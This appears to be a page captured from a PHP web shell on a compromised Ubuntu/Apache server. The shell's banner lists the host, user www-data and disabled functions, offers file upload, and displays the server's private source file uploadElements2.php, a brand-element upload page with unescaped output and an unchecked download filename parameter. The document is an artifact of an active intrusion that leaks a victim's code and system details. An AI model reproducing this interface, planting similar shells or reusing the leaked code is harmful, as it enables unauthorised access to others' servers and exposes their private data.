( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/uploadElements2.php
  <?php
 $mag = 	   $_GET["mag"];
$VideoPath = "uploads/live/";
$live_img = 'uploads/images/';	
$msg_id2 =$msg_id;
$msg_id = $db->base64url_decode($msg_id);
if($action=="custom")  { $script = "processCoke.php"; }
else { $script = "brandX.php";}
$result = $db->getstar2($msg_id);
 $catalogid = $result[0]["catalogid"];
 $title = $result[0]["title"];
$message = $result[0]["title"];
 $newsid = $result[0]["newsid"];
$viewnum = $result[0]["viewnum"];
$rating = $result[0]["rating"];
$picture = $result[0]["picture"];
$ratenum = $result[0]["ratenum"];
$episodeid = $result[0]["episodeid"];
$slug = $result[0]["slug"];
$keywords = $result[0]["keywords"];
$isdisplay = $result[0]["isdisplay"];
  $description = $result[0]["description"];
$vcat = $result[0]["vcat"];
$summary = $result[0]["summary"];
$video = $result[0]["video"];
$description= $result[0]["description"];
 $original= $result[0]["picture"];
$fxme= $result[0]["fx"];
$default2 = $user_nameX.rand(10,99);

 if($isdisplay == 7)  
 { 
$default = $description;
 }

 if($isdisplay == 3   ||  $isdisplay == 4  ||  $isdisplay == 5/* ||  $isdisplay == 7*/)  { 

 }
 else
 {
	header("Location: ./index.php?mode=startags&msg=Sorry+this+Startag+is+already+published+cannot+be+edited");
 
 }
 
  ?> 

<link href="css/uploadfile.css" rel="stylesheet">
	
    <style>
    .highlight {
  display: none; /* hidden by default, until >480px */
  padding: 9px 14px;
  margin-bottom: 14px;
  background-color: #f7f7f9;
  border: 1px solid #e1e1e8;
  border-radius: 4px;
}
.highlight pre {
  padding: 0;
  margin-top: 0;
  margin-bottom: 0;
  background-color: transparent;
  border: 0;
  white-space: nowrap;
}
.highlight pre code {
  font-size: inherit;
  color: #333; /* Effectively the base text color */
}
.highlight pre .lineno {
  display: inline-block;
  width: 22px;
  padding-right: 5px;
  margin-right: 10px;
  text-align: right;
  color: #bebec5;
}

/* Show code snippets when we have the space */
@media screen and (min-width: 481px) {
  .highlight {
    display: block;
  }
}
</style>
 
<center><table width="100%"  border="0" cellpadding="0" cellspacing="0" style="margin-top:-20px; margin-bottom:10px" >
 
 
   <tr>
    <td width="100%"> 
         <h2  id="notify2"><i class="icon-asterisk"></i> Upload Brand Elements</h2>
                  
          
          </td> 
    
        <td width="100" align="right" valign="top"><a href="index.php?mode=updateBrand&msg_id=<?php echo $msg_id2 ?>&category=alert-success&step=0&action=<?php echo $action ?>" class="btn-lg btn-warning pull-right m-t-lg">Finish</a></td>
        </tr>
      </table>
     
 
   <table id="Table_01"  width="600" height="600" border="0" cellpadding="0" cellspacing="0" style="">

	<tr>
		<td  id="bgme"  width="600" height="600" valign="middle" style="background-image:url(v/uploads/gthumbs/<?php echo $picture ?>); width:600px; height:600px; background-repeat:no-repeat;   "  >
     
       <div style="background-image:url(v/uploads/gthumbs/<?php echo $picture ?>); width:600px; height:600px; background-repeat:no-repeat;  " >
   
        <div style="background-image:url(images/elements.png); width:600px; height:600px; background-repeat:no-repeat; padding-top:250px"  >
         <center><div id="eventsupload" style="color:#FFF"> Upload</div>
      
 
         
         </center>
        
        </div>
 
      
       
       
       </div>
    
<!--       -->
     
 <div id="eventsmessage"></div> 
           
		 </td>
         
         	 
	</tr>
</table>
 </center> 
  <script src="js/elements/bootstrap.min.js"></script>
<script src="js/elements/run_prettify.js"></script>
 <script src="js/jquery.uploadfile.min.js"></script>

<script>	
$(document).ready(function()
{


	$("#eventsupload").uploadFile({
	url:"v/elements/upload.php?appno=<?php echo $appno; ?>&user=<?php echo $catalogid; ?>&pic=<?php echo $newsid; ?>",
	multiple:true,
	fileName:"myfile",
	maxFileCount:3,
	returnType:"json",
	 maxFileSize:1000*1024,
	 acceptFiles:"image/*",
	showDelete: true,
	dragdropWidth:400,
	deleteCallback: function (data, pd) {
     for (var i = 0; i < data.length; i++) {
         $.post("v/elements/delete.php?appno=<?php echo $appno; ?>&user=<?php echo $catalogid; ?>&pic=<?php echo $newsid; ?>", {op: "delete",name: data[i]},
             function (resp,textStatus, jqXHR) {
                 //Show Message	
               $("#notify2").html("Element Deleted"); 
             });
     }
     pd.statusbar.hide(); //You choice.

 },
	onLoad:function(obj)
	{
			$("#notify2").html("Upload Brand Elements | Max 3");
	},
	onSubmit:function(files)
	{
		$("#notify2").html("Submitting:"+JSON.stringify(files));
		//return false;
	},
	onSuccess:function(files,data,xhr,pd)
	{
	
		$("#notify2").html("Success for: "+JSON.stringify(data));
		
	},
	afterUploadAll:function(obj)
	{
		$("#notify2").html(" All files are uploaded");
		
	
	},
	onError: function(files,status,errMsg,pd)
	{
		$("#notify2").html(" Error for: "+JSON.stringify(files));
	},
	onCancel:function(files,pd)
	{
			$("#notify2").html("Canceled  files: "+JSON.stringify(files));
	}
	});
	
	
	
	
var deleteuploadObj = $("#deleteupload").uploadFile({url: "v/elements/upload.php",
 dragDrop: true,
 fileName: "myfile",
 returnType: "json",
 showDelete: true,
 showDownload:true,
 statusBarWidth:600,
 dragdropWidth:600,
 deleteCallback: function (data, pd) {
     for (var i = 0; i < data.length; i++) {
         $.post("v/elements/delete.php", {op: "delete",name: data[i]},
             function (resp,textStatus, jqXHR) {
                 //Show Message	
                 alert("File Deleted");
             });
     }
     pd.statusbar.hide(); //You choice.

 },
 downloadCallback:function(filename,pd)
	{
		location.href="v/elements/download.php?filename="+filename;
	}
 });
	

});
</script>